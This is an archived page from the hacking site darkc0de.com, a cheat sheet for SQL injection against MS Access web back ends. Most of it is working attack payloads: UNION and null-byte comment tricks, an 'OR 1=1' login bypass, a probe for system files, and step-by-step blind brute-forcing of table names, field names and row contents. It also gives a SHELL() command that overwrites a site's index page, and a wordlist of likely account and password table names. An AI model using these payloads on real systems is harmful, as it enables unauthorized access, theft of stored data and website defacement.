| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157. 158. 159. 160. 161. 162. 163. 164. 165. 166. 167. 168. 169. 170. 171. 172. 173. 174. 175. 176. 177. 178. 179. 180. 181. 182. 183. 184. 185. 186. 187. 188. 189. 190. 191. 192. 193. 194. 195. 196. 197. 198. 199. 200. 201. 202. 203. 204. 205. 206. 207. 208. 209. 210. 211. 212. 213. 214. 215. 216. 217. 218. 219. 220. 221. 222. 223. 224. 225. 226. 227. 228. 229. 230. 231. 232. 233. 234. 235. 236. 237. 238. 239. 240. 241. 242. 243. 244. 245. 246. 247. 248. 249. 250. 251. 252. 253. 254. 255. 256. 257. 258. 259. 260. 261. 262. 263. 264. 265. 266. 267. 268. 269. 270. 271. 272. 273. 274. 275. 276. 277. 278. 279. 280. 281. 282. 283. 284. 285. 286. 287. 288. 289. 290. 291. 292. 293. 294. 295. 296. 297. 298. 299. 300. 301. 302. 303. 304. 305. 306. 307. 308. 309. 310. 311. 312. 313. 314. 315. 316. 317. 318. 319. 320. 321. 322. 323. 324. 325. 326. 327. 328. 329. 330. 331. 332. 333. 334. 335. 336. 337. 338. 339. 340. 341. 342. 343. 344. 345. 346. 347. 348. 349. 350. 351. 352. 353. 354. 355. 356. 357. 358. 359. 360. 361. 362. 363. 364. 365. 366. 367. 368. 369. 370. 371. 372. 373. 374. 375. 376. 377. 378. 379. 380. 381. 382. 383. 384. 385. 386. 387. 388. 389. 390. 391. 392. 393. 394. 395. 396. 397. 398. 399. 400. 401. 402. 403. 404. 405. 406. 407. 408. 409. 410. 411. 412. 413. 414. 415. 416. 417. 418. 419. 420. 421. 422. 423. 424. 425. 426. 427. 428. 429. 430. 431. 432. 433. 434. 435. 436. 437. 438. 439. 440. 441. 442. 443. 444. 445. 446. 447. 448. 449. 450. 451. 452. 453. 454. 455. 456. 457. 458. 459. 460. 461. 462. 463. 464. 465. 466. 467. 468. 469. 470. 471. 472. 473. 474. 475. 476. 477. 478. 479. 480. 481. 482. 483. 484. 485. 486. 487. 488. 489. 490. 491. 492. 493. 494. 495. 496. 497. 498. 499. 500. 501. 502. 503. 504. 505. 506. 507. 508. 509. 510. 511. 512. 513. 514. 515. 516. 517. 518. 519. 520. 521. 522. 523. 524. 525. 526. 527. 528. 529. 530. 531. 532. 533. 534. 535. 536. 537. 538. 539. 540. 541. 542. 543. 544. 545. 546. 547. 548. 549. 550. 551. 552. 553. 554. 555. 556. 557. 558. 559. 560. 561. 562. 563. 564. 565. 566. 567. 568. 569. | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<style type="text/css">
/* <![CDATA[ */
table, td
{
border-color: #353637;
border-style: solid;
}
table
{
border-width: 0 0 2px 2px;
border-spacing: 0;
border-collapse: collapse;
}
td
{
margin: 0;
padding: 10px;
border-width: 2px 2px 0 0;
}
/* ]]> */
</style>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<link rel="shortcut icon" href="/websites/darkc0de.com/images/favicon.ico" type="image/x-icon" />
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>darkc0de.com [ MS Access SQL Injection Cheat Sheet ]</title>
<link rel="stylesheet" type="text/css" href="/websites/darkc0de.com/style.css" />
</head>
<body>
<div id="outer">
<div id="inner">
<div id="close"><a href="/websites/darkc0de.com/index.shtml" title="close and return to menu">X</a></div>
<div id="top"><a href="#top" title="back to top">^</a></div>
<!--greyed out links-->
<div class="bgtext">dark c0de</div>
<div id="text1">scanners</div>
<div id="text2">encryption</div>
<div id="text3">miscellaneous</div>
<div id="text4">bruteforce</div>
<div id="text5">irc-bots</div>
<div id="text6">others</div>
<div id="text7">development</div>
<div id="text8">py»exploits</div>
<div id="text10">[s3rvices]</div>
<div id="text11">Welcome:</div>
<div id="text13">Affiliates</div>
<div id="text14">[sn1ppets]</div>
<div id="text16">Viewed:</div>
<!--greyed out links end-->
<div id="urltext"><a href="/websites/darkc0de.com/index.shtml" class="navigurl" title="click to return to the index page">/home » </a>MS Access SQL Injection Cheat Sheet</div>
<div id="content">
<a name="top"></a>
<div class="titleblock">Welcome, 212.235.66.182</div>
Send all updates to <a href="mailto:d3hydr8[at]gmail[dot]com">[ d3hydr8[at]gmail[dot]com ]</a> or use the form below.
<div class="titleblock">Last Modified: Tuesday, 22-Sep-2009 10:11:20 EDT</div>
<br>
<center><form action="/websites/darkc0de.com/cgi-bin/getinput.py" method='post'>
<b>Submit: </b>
<textarea maxlength="30" onkeyup="return ismaxlength(this)" style="background-color:#B0C4DE" name = "message" rows = 1 cols = 40>Enter an update with full details.</textarea><br>
<input type="image" border="0" name="submit" value="send" src="/websites/darkc0de.com/images/submit.jpg"></form></center><br>
<ul><li><a href="/websites/darkc0de.com/database/oracle-cs.shtml">Oracle</a></li>
<li><a href="/websites/darkc0de.com/database/mssql-cs.shtml">MSSQL</a></li>
<li><a href="/websites/darkc0de.com/database/mysql-cs.shtml">MySQL</a></li>
<li><a href="/websites/darkc0de.com/database/postgres-cs.shtml">PostgreSQL</a></li>
<li><a href="/websites/darkc0de.com/database/ingres-cs.shtml">Ingres</a></li>
<li><a href="/websites/darkc0de.com/database/db2-cs.shtml">DB2</a></li>
<li><a href="/websites/darkc0de.com/database/msaccess-cs.shtml">MS Access</a></li></ul>
<br><br><center>
<table width="530">
<tbody><tbody><tr>
<td>Comments</td>
<td>There are no comments in MS Access. So ?/*?, ???, and ?#? can?t be used here. But it?s possible to use the NULL byte (%00) to comment out the end of the query :
<ul>
<li>
<p>? UNION SELECT 1,1,1 FROM validTableName%00</p>
</li>
</ul>
</td>
</tr>
<tr>
<td>Syntax Error Message</td>
<td>?[Microsoft][Driver ODBC Microsoft Access]</td>
</tr>
<tr>
<td>Stacked Query</td>
<td>Not Allowed.</td>
</tr>
<tr>
<td>UNION support</td>
<td>The UNION operator is supported, but it needs a valid table name in the FROM clause.</td>
</tr>
<tr>
<td>Subquery</td>
<td>Subqueries are supported (in the example <em><strong><font color="#ff0000">?TOP 1?</font></strong></em> is used to make the query returns only one row) :</font>
<ul>
<li><strong><font face="Verdana">? AND <font color="#0066ff">(SELECT TOP 1 ?someData? FROM validTableName)</font>%00</font></strong></li>
</ul>
</td>
</tr>
<tr>
<td>LIMIT support</td>
<td height="36" width="100%"><font face="Verdana">LIMIT isn?t implemented, but it?s possible to use <strong><em><font color="#ff0000">?TOP N?</font></em></strong> in SELECT statement, to limit the number of returned rows :</font>
<ul>
<li><font face="Verdana"><strong>? UNION SELECT <font color="#0066ff">TOP 3</font> AttrName FROM validTableName%00</strong> : returns (the first) 3 rows</font></li>
</ul>
</td>
</tr>
<tr>
<td>Make the query returns 0 rows</td>
<td height="19" width="100%"><font face="Verdana">This could be useful when the script displays only the first result rows in the html response :</font>
<ul>
<li><strong><font face="Verdana">? <font color="#0066ff">AND 1=0</font> UNION SELECT AttrName1,AttrName2 FROM validTableName%00</font></strong></li>
</ul>
</td>
</tr>
<tr>
<td>String concatenation</td>
<td height="19" width="100%"><font face="Verdana">No CONCAT() function exists. It?s possible to use the ?&? or ?+? operator to concat two strings. But you need to URL encode them :</font>
<ul>
<li dir="ltr">
<p dir="ltr"><font face="Verdana"><strong>? UNION SELECT <font color="#0066ff">?web? %2b ?app?</font> FROM validTableName%00 </strong>: returns ?webapp?</font></p>
</li>
<li><font face="Verdana"><strong>? UNION SELECT <font color="#0066ff">?web? %26 ?app?</font> FROM validTableName%00 </strong>: returns ?webapp?</font></li>
</ul>
</td>
</tr>
<tr>
<td>Substring</td>
<td height="19" width="100%"><font face="Verdana">MID() function :</font>
<ul>
<li><font face="Verdana"><strong>? UNION SELECT <font color="#0066ff">MID(?abcd?,1,1)</font> FROM validTableName%00 </strong>: returns ?a?</font></li>
<li><font face="Verdana"><strong>? UNION SELECT <font color="#0066ff">MID(?abcd?,2,1)</font> FROM validTableName%00 </strong>: returns ?b?</font></li>
</ul>
</td>
</tr>
<tr>
<td>String length</td>
<td height="19" width="100%"><font face="Verdana">LEN() function :</font>
<ul>
<li><font face="Verdana"><strong>? UNION SELECT <font color="#0066ff">LEN(?1234?)</font> FROM validTableName%00 </strong>: returns 4</font></li>
</ul>
</td>
</tr>
<tr>
<td>Find web root directory</td>
<td height="19" width="100%"><font face="Verdana">You can find the web root directory trying to select something from an inexistent <a id="KonaLink1" target="_top" class="kLink" style="text-decoration: underline ! important; position: static;" href="#"><font style="color: orange ! important; font-family: Verdana; font-weight: 400; font-size: 12px; position: static;" color="orange"><span class="kLink" style="color: orange ! important; font-family: Verdana; font-weight: 400; font-size: 12px; position: static;">database</span></font></a>. MS Access will response with an error message containing the full path name :</font>
<ul>
<li><strong><font face="Verdana">? UNION SELECT 1 <font color="#0066ff">FROM ThisIsAFakeName.FakeTable</font>%00</font></strong></li>
</ul>
</td>
</tr>
<tr>
<td>ASCII value from a character</td>
<td height="19" width="100%"><font face="Verdana">ASC() function :</font>
<ul>
<li><font face="Verdana"><strong>? UNION SELECT <font color="#0066ff">ASC(?A')</font> FROM ValidTable%00</strong> : returns 65 (ASCII value for ?A?)</font></li>
</ul>
</td>
</tr>
<tr>
<td>Character from an ASCII value</td>
<td height="19" width="100%"><font face="Verdana">CHR() function :</font>
<ul>
<li><font face="Verdana"><strong>? UNION SELECT <font color="#0066ff">CHR(65)</font> FROM validTableName%00 </strong>: returns ?A?</font></li>
</ul>
</td>
</tr>
<tr>
<td>IF Statement</td>
<td height="19" width="100%"><font face="Verdana">IIF() function can be used. Syntax : IIF(condition, true, false) :</font>
<ul>
<li><font face="Verdana"><strong>? UNION SELECT <font color="#0066ff">IIF(1=1, ?a?, ?b?)</font> FROM validTableName%00</strong> : returns ?a?</font></li>
</ul>
</td>
</tr>
<tr>
<td>Time Inference</td>
<td height="19" width="100%"><font face="Verdana">Not allowed. Function such as BENCHMARK() or SLEEP() doesn?t exist!</font></td>
</tr>
<tr>
<td>Verify File Existence</td>
<td height="1" width="100%">
<p dir="ltr"><font face="Verdana">By injecting :</font></p>
<ul>
<li dir="ltr">
<p dir="ltr"><font face="Verdana"><strong>? UNION SELECT name FROM msysobjects <font color="#0066ff">IN ?\boot.ini?</font>%00 </strong>: (if file exists) an error message is obtained (it informs that the database format was not recognized). </font></p>
</li>
</ul>
</td>
</tr>
<tr>
<td>Table Name bruteforcing</td>
<td height="1" width="100%"><font face="Verdana">You don?t need the columns name number to bruteforce the table names. You have to try the table name wordlist untill you get an error message referred to a wrong number of columns. In that case you guessed the table name :</font>
<ul>
<li><strong><font face="Verdana">? UNION <font color="#0066ff">SELECT 1 FROM table[i]</font>%00</font></strong></li>
</ul>
</td>
</tr>
<tr>
<td>Field Name bruteforcing</td>
<td height="1" width="100%"><font face="Verdana">You need a valid table name and column number :</font>
<ul>
<li><font face="Verdana"><strong>? UNION SELECT <font color="#0066ff">fieldName[1],1,1,1</font> FROM table[i]%00 </strong>: until the error message disappears.</font></li>
</ul>
</td>
</tr>
<tr>
<td>Login bypass</td>
<td height="1" width="100%"><font face="Verdana">User :<strong><font color="#0066ff"> ? OR 1=1%00</font></strong> (or <strong><font color="#0066ff">? OR 1=1%00</font></strong>)</font><font face="Verdana">Password : (blank)</font></td>
</tr>
<tr>
<td>Attributes Enumeration</td>
<td height="18" width="100%"><font face="Verdana"><strong><font color="#0066ff"><em> NOTE </em></font><em><font color="#0066ff">: This method was tested with JBoss (using a bugged .jsp script) + MS Access, I don?t know if this works with other configurations. </font></em></strong></font>
<p dir="ltr"><font face="Verdana">Usually if a <a id="KonaLink2" target="_top" class="kLink" style="text-decoration: underline ! important; position: static;" href="#"><font style="color: orange ! important; font-family: Verdana; font-weight: 400; font-size: 12px; position: static;" color="orange"><span class="kLink" style="border-bottom: 1px solid orange; color: orange ! important; font-family: Verdana; font-weight: 400; font-size: 12px; position: static; padding-bottom: 1px; background-color: transparent;">SQL </span><span class="kLink" style="border-bottom: 1px solid orange; color: orange ! important; font-family: Verdana; font-weight: 400; font-size: 12px; position: static; padding-bottom: 1px; background-color: transparent;">Injection</span></font></a> exists, when you type a quote (?) in a URL parameter you obtain an error message such as :</font></p>
<ul>
<li><font face="Verdana"><strong><font color="#ff6666"><em>Error (?) syntax (?) query (?) : ? Id=0? ?</em></font></strong></font></li>
</ul>
<p><font face="Verdana">And this tells you that the current table has a parameter called ?Id?. Often <a id="KonaLink3" target="_top" class="kLink" style="text-decoration: underline ! important; position: static;" href="#"><font style="color: orange ! important; font-family: Verdana; font-weight: 400; font-size: 12px; position: static;" color="orange"><span class="kLink" style="border-bottom: 1px solid orange; color: orange ! important; font-family: Verdana; font-weight: 400; font-size: 12px; position: static; padding-bottom: 1px; background-color: transparent;">programmers</span></font></a> use the same names for URL and query attributes. When you know one parameter name you can use the technique used with MS SQL <a id="KonaLink4" target="_top" class="kLink" style="text-decoration: underline ! important; position: static;" href="#"><font style="color: orange ! important; font-family: Verdana; font-weight: 400; font-size: 12px; position: static;" color="orange"><span class="kLink" style="color: orange ! important; font-family: Verdana; font-weight: 400; font-size: 12px; position: static;">Server</span></font></a> to enumerate other table fields name by injecting :</font></p>
<ul>
<li><strong><font face="Verdana">? <font color="#0066ff">GROUP BY Id</font>%00</font></strong></li>
</ul>
<p><font face="Verdana">Now you?ll obtain a new error message contains another attribute name. Enumeration follows by injecting :</font></p>
<ul>
<li><strong><font face="Verdana">? GROUP BY Id,<font color="#0066ff"> SecondAttrName, ?</font>%00</font></strong></li>
</ul>
<p><font face="Verdana">until you?ll enumerate all the parameters.</font></p></td>
</tr>
<tr>
<td bgcolor="#353637" colspan="2" align="left" height="1" width="100%">
<p dir="ltr"><strong><font face="Verdana" size="4">System OS Interaction</font></strong></p>
</td>
</tr>
<tr>
<td colspan="2" align="left" height="1" width="100%">
<p align="center"><strong><em><font color="#ffffff" face="Times New Roman" size="3">By default its impossible to access to these functions</font></em></strong></p>
</td>
</tr>
<tr>
<td>Security Notes</td>
<td height="19" width="100%"><font face="Verdana">It?s possible to block the use of critical functions (such as SHELL(), etc ?) by setting this register key :</font>
<ul>
<li><strong><font color="#0066ff" face="Verdana">\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode</font></strong></li>
</ul>
<p><font face="Verdana">Its default values is 2, so by default it?s impossible to use these functions. What I propose below are some examples tested with that register key setted to 0.</font></p></td>
</tr>
<tr>
<td>Get Current Directory</td>
<td height="19" width="100%"><font face="Verdana">Here you need of columns number and a valid table name :</font>
<ul>
<li><strong><font face="Verdana">? UNION SELECT <font color="#0066ff">CurDir()</font>,1,1 FROM validTableName%00</font></strong></li>
</ul>
</td>
</tr>
<tr>
<td>Execute OS Commands</td>
<td height="19" width="100%"><font face="Verdana">SHELL() function can be used to run OS command :</font>
<ul>
<li><strong><font face="Verdana">? AND <font color="#0066ff">SHELL(?cmd.exe /c echo owned > c:\path\name\index.html?)</font>%00</font></strong></li>
</ul>
</td>
</tr>
<tr>
<td bgcolor="#353637" colspan="2" align="left" height="1" width="100%">
<p dir="ltr"><strong><font face="Verdana" size="4">MS Access System Tables</font></strong></p>
</td>
</tr>
<tr>
<td colspan="2" align="left" height="1" width="100%">
<p align="center"><strong> <em> <font color="#ffffff" face="Times New Roman" size="3">By default it?s impossible to access to these system tables</font></em></strong></p>
</td>
</tr>
<tr>
<td>MSysAccessXML</td>
<td height="1" width="100%"><font face="Verdana">Table fields name :</font>
<ul>
<li><font face="Verdana">Id</font></li>
<li><font face="Verdana">LValue</font></li>
<li><font face="Verdana">ObjectGuid</font></li>
<li><font face="Verdana">ObjectName</font></li>
<li><font face="Verdana">Property</font></li>
<li><font face="Verdana">Value</font></li>
</ul>
</td>
</tr>
<tr>
<td>MSysACEs</td>
<td height="1" width="100%"><font face="Verdana">Table fields name :</font>
<ul>
<li><font face="Verdana">ACM</font></li>
<li><font face="Verdana">FInheritable</font></li>
<li><font face="Verdana">ObjectId</font></li>
<li><font face="Verdana">SID</font></li>
</ul>
</td>
</tr>
<tr>
<td>MSysObjects</td>
<td height="1" width="100%"><font face="Verdana">Here you can find database table name :</font>
<ul>
<li><font face="Verdana">Connect</font></li>
<li><font face="Verdana">Database</font></li>
<li><font face="Verdana">DataCreate</font></li>
<li><font face="Verdana">DataUpdate</font></li>
<li><font face="Verdana">Flags</font></li>
<li><font face="Verdana">ForeignName</font></li>
<li><font face="Verdana">Id</font></li>
<li><font face="Verdana">Lv</font></li>
<li><font face="Verdana">LxExtra</font></li>
<li><font face="Verdana">LvModule</font></li>
<li><font face="Verdana">LvProp</font></li>
<li><font face="Verdana">Name</font></li>
<li><font face="Verdana">Owner</font></li>
<li><font face="Verdana">ParentId</font></li>
<li><font face="Verdana">RmtInfoLong</font></li>
<li><font face="Verdana">RmtInfoShort</font></li>
<li><font face="Verdana">Type</font></li>
</ul>
<p><font face="Verdana">This query can be used to obtain database tables name :</font></p>
<ul>
<li><strong><font face="Verdana">? UNION <font color="#0066ff">SELECT Name FROM MSysObjects WHERE Type = 1</font>%00</font></strong></li>
</ul>
</td>
</tr>
<tr>
<td>Step #1 : Bruteforce Table Name</td>
<td height="1" width="100%"><font face="Verdana">You have to bruteforce the table name. You can use the wordlist listed below. Inject query :</font>
<ul>
<li><strong><font face="Verdana">? AND <font color="#0066ff">(SELECT TOP 1 1 FROM TableNameToBruteforce[i])</font>%00</font></strong></li>
</ul>
<p><font face="Verdana">After injection you have to check the html response page. If table exists you should have the same <a id="KonaLink6" target="_top" class="kLink" style="text-decoration: underline ! important; position: static;" href="#"><font style="color: orange ! important; font-family: Verdana; font-weight: 400; font-size: 12px; position: static;" color="orange"><span class="kLink" style="color: orange ! important; font-family: Verdana; font-weight: 400; font-size: 12px; position: static;">html </span><span class="kLink" style="color: orange ! important; font-family: Verdana; font-weight: 400; font-size: 12px; position: static;">page</span></font></a> layout (because ?<strong><em><font color="#ff3300">AND 1</font></em></strong>? has no effect on the query).</font></p></td>
</tr>
<tr>
<td align="left" height="1" width="205">
<p dir="ltr"><strong>Step #2 : Bruteforce Field Name</p>
</td>
<td height="1" width="100%"><font face="Verdana">You have to find table fields name. Inject query :</font>
<ul>
<li><strong><font face="Verdana">? AND <font color="#0066ff">(SELECT TOP 1 FieldNameToBruteForce[j] FROM table)</font>%00</font></strong></li>
</ul>
<p><font face="Verdana">As above, you should check the html page layout to inferece the field name existence .</font></p></td>
</tr>
<tr>
<td align="left" height="1" width="205">Step #3 : Bruteforce Table rows number</td>
<td height="1" width="100%"><font face="Verdana">You have to find the number of table rows. This value will be used as ?<em><strong><font color="#ff0000">TAB_LEN</font></strong></em>? variable in the following queries/descriptions :</font>
<ul>
<li><strong><font face="Verdana">? AND <font color="#0066ff">IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)</font>%00</font></strong></li>
</ul>
<p><font face="Verdana">Where <em><strong><font color="#ff3300">?X?</font></strong></em> is a number between 0 and an arbitrary value. As above you will find the correct number by checking html page layout.</font></p></td>
</tr>
<tr>
<td align="left" height="1" width="205">Step #4 : Bruteforce item length</td>
<td height="1" width="100%">
<p dir="ltr"><font face="Verdana">You can bruteforce the value length of a generic ?<em>ATTRIB</em>? field at row number 1 with this query :</font></p>
<ul>
<li dir="ltr">
<p dir="ltr"><strong><font face="Verdana">? AND <font color="#0066ff">IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)</font>%00</font></strong></p>
</li>
</ul>
<p dir="ltr"><font face="Verdana">You can bruteforce the value length of a generic ?<em>ATTRIB</em>? field from row 2 to <em>TAB_LEN</em> with this query (here N is a number between 2 and <em>TAB_LEN, </em>the value bruteforced before) :</font></p>
<ul>
<li><strong><font face="Verdana">? AND<font color="#0066ff"> IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>?value1? AND ATTRIB<>?value2? </font><font color="#111111">?(etc)?</font><font color="#0066ff">) = KKK,1,0)</font>%00</font></strong></li>
</ul>
<p><font face="Verdana"><em>?</em><strong><em><font color="#ff3300">KKK</font></em></strong><em>?</em><strong><em><font color="#ff3300"> </font> </em></strong> <font color="#111111">is a value between 0 and an arbitrary value, while </font><font color="#ff3300"><strong><em>ATTRIB<>?valueXXX?</em></strong></font> is used because we have to select a specific line to bruteforce. The unique way I found to do this is to select the desidered row with <em>?<strong><font color="#ff0000">TOP N</font></strong>?</em>,and then insert in the WHERE clause all the attribute values bruteforced before. I have to say that ?<strong><font color="#ff0000"><em>ATTRIB</em></font></strong>? must be the table key-field. Here is an example :</font></p>
<p dir="ltr"> </p>
<p align="center"> </p>
<p></p><center>
<table style="border-collapse: collapse;" id="AutoNumber1" border="1" bordercolor="#111111" cellpadding="0" cellspacing="0" width="49%">
<tbody><tr>
<td bgcolor="#cc3399" width="33%"><strong> <font color="#ffffff" face="Verdana">A1</font></strong></td>
<td bgcolor="#cc3399" width="33%"><strong> <font color="#ffffff" face="Verdana">A2</font></strong></td>
<td bgcolor="#cc3399" width="34%"><strong> <font color="#ffffff" face="Verdana">A3</font></strong></td>
</tr>
<tr>
<td width="33%"><font face="Verdana">1111</font></td>
<td width="33%"><font face="Verdana">2222</font></td>
<td width="34%"><font face="Verdana">3333</font></td>
</tr>
<tr>
<td width="33%"><font face="Verdana">0000</font></td>
<td width="33%"><font face="Verdana">4444</font></td>
<td width="34%"><font face="Verdana">oooo</font></td>
</tr>
<tr>
<td width="33%"><font face="Verdana">aaaa</font></td>
<td width="33%"><font face="Verdana">bbbb</font></td>
<td width="34%"><font face="Verdana">cccc</font></td>
</tr>
</tbody></table>
<p></p></center>
<p dir="ltr" align="left"><font face="Verdana">You can bruteforce fields value length for row 1 in this way :</font></p>
<ul>
<li dir="ltr">
<p dir="ltr" align="left"><strong><font face="Verdana">? AND</font><font color="#0066ff" face="Verdana"> IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)</font><font face="Verdana">%00<br>
</font></strong>
</p></li><li dir="ltr">
<p dir="ltr" align="left"><strong><font face="Verdana">? AND</font><font color="#0066ff" face="Verdana"> IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)</font><font face="Verdana">%00<br>
</font></strong>
</p></li><li dir="ltr">
<p dir="ltr" align="left"><strong><font face="Verdana">? AND</font><font color="#0066ff" face="Verdana"> IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)</font><font face="Verdana">%00</font></strong></p>
</li>
</ul>
<p dir="ltr" align="left"><font face="Verdana">While you can bruteforce fields length value of second row in this way (assuming <em>A1</em> as table key-field) :</font></p>
<ul>
<li dir="ltr">
<p dir="ltr" align="left"><strong><font face="Verdana">? AND</font><font color="#0066ff" face="Verdana"> IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE<br>
A1 <>?1111?) = KKK, 1, 0)</font><font face="Verdana">%00<br>
</font></strong>
</p></li><li>
<p align="left"><strong><font face="Verdana">? AND</font><font color="#0066ff" face="Verdana"> IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE<br>
A1 <> ?1111?) = KKK, 1, 0)</font><font face="Verdana">%00<br>
</font></strong>
</p></li><li dir="ltr">
<p dir="ltr" align="left"><strong><font face="Verdana">? AND</font><font color="#0066ff" face="Verdana"> IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE<br>
A1 <> ?1111?) = KKK, 1, 0)</font><font face="Verdana">%00</font></strong>
</p></li></ul>
<p dir="ltr" align="left"><font face="Verdana">The same for row number 3 :</font></p>
<ul>
<li dir="ltr">
<p dir="ltr" align="left"><strong><font face="Verdana">? AND</font><font color="#0066ff" face="Verdana"> IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE<br>
A1 <>?1111? AND A1 <> ?0000?) = KKK, 1, 0)</font><font face="Verdana">%00<br>
</font></strong>
</p></li><li>
<p align="left"><strong><font face="Verdana">? AND</font><font color="#0066ff" face="Verdana"> IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE<br>
A1 <> ?1111? AND A1 <> ?0000?) = KKK, 1, 0)</font><font face="Verdana">%00<br>
</font></strong>
</p></li><li dir="ltr">
<p dir="ltr" align="left"><strong><font face="Verdana">? AND</font><font color="#0066ff" face="Verdana"> IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE<br>
A1 <> ?1111? AND A1 <> ?0000?) = KKK, 1, 0)</font><font face="Verdana">%00</font></strong>
</p></li></ul>
<p dir="ltr" align="left"><font face="Verdana">Obviusly, before bruteforcing field value length (at row between 2 and TAB_LEN) you have to bruteforce the previous row (key) field value (you have to put it in the WHERE clause).</font></p>
</td>
</tr>
<tr>
<td align="left" height="1" width="205">Step #5 : Bruteforce Table Content</td>
<td height="1" width="100%"><font face="Verdana">Supposing that the attacker already knows the table and fields name, he will inject this query :</font>
<ul>
<li><strong>? AND <font color="#0066ff" face="Verdana">IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>?value1? AND ATT_key </font> <font face="Verdana"> <font color="#0066ff"><>?value2?<br>
</font>? etc ?<font color="#0066ff"> ) = CHAR(YYY), 1, 0)</font>%00</font></strong></li>
</ul>
<p><font face="Verdana">Where <em><strong><font color="#ff3300">?N?</font></strong></em> is the row to bruteforce, <em><strong><font color="#ff3300">?XXX?</font></strong></em> is the x-th byte of <strong><em><font color="#ff3300">?ATTRIBxxx?</font></em></strong> to bruteforce, <strong><em><font color="#ff3300">?ATT_key?</font></em></strong> is the table key-field and <em><strong><font color="#ff3300">?YYY?</font></strong></em> is a number between 0 and 255 (it </font> <a href="http://www.google.it/search?hl=it&sa=X&oi=spell&resnum=0&ct=result&cd=1&q=represents&spell=1" class="p" style="text-decoration: none;" onclick="javascript:urchinTracker('/outbound/www.google.it/search?hl=it_amp_sa=X_amp_oi=spell_amp_resnum=0_amp_ct=result_amp_cd=1_amp_q=represents_amp_spell=1');"> <font color="#000000" face="Verdana">represents</font></a><font face="Verdana"> the ASCII value for a char). Here we have to use the same method mentioned before to correctly bruteforce a specific row attribute content.</font></p></td>
</tr>
<tr>
<td bgcolor="#353637" colspan="2" align="left" height="1" width="100%"><font face="Verdana" size="4">Tables/Fields Bruteforcing (Wordlist)</font></td>
</tr>
<tr>
<td align="left" height="1" width="205">Table/Field Wordlist</td>
<td height="1" width="100%"><font face="Verdana">Here is a very short table/field names wordlist that can be used during bruteforcing :</font>
<ul>
<li><font size="2"> </font>
<p align="left"><em><strong><font color="#0066ff" face="Verdana">account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;</font></strong></em></p>
</li>
<li>
<p align="left"><em><strong> <font color="#0066ff" face="Verdana">customers, customer, config, conf, cfg;</font></strong></em></p>
</li>
<li>
<p align="left"><em><strong><font color="#0066ff" face="Verdana">hash;</font></strong></em></p>
</li>
<li>
<p align="left"><em><strong><font color="#0066ff" face="Verdana">login, logout, loginout, log;</font></strong></em></p>
</li>
<li>
<p dir="ltr" align="left"><em><strong><font color="#0066ff" face="Verdana">member, memberid;</font></strong></em></p>
</li>
<li>
<p align="left"><em><strong><font color="#0066ff" face="Verdana">password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;</font></strong></em></p>
</li>
<li>
<p align="left"><em><strong><font color="#0066ff" face="Verdana">store, store1, store2, store3, store4, setting;</font></strong></em></p>
</li>
<li dir="ltr">
<p dir="ltr" align="left"><em><strong><font color="#0066ff" face="Verdana">username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;</font></strong></em></p>
</li>
</ul>
</td>
</tr>
</tbody></tbody></table>
<br>
<br>
<br><br>
<a href="/websites/darkc0de.com/store/advertise.html"><font color="white"><b>Advertise Here</b></a></font><br>
<script language="javascript">
zoneIdentifier="3F8D8B7CF6A06513";
var varCheckURL = (("https:" == document.location.protocol) ? "https://" : "http://");
document.write(unescape("%3Cscript src='" + varCheckURL + "adcode.adengage.com/bootstrap/ae.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<br><br>
<b><font size="2" face="courier">This site is maintained by d3hydr8[at]gmail[dot]com
<br>darkc0de.com ™ © 2006-Now</font></b>
<br>
<br>
</center>
<br>
</ol>
<div class="titleblock">EOF</div>
</div>
</div>
</div>
</body>
</html>
|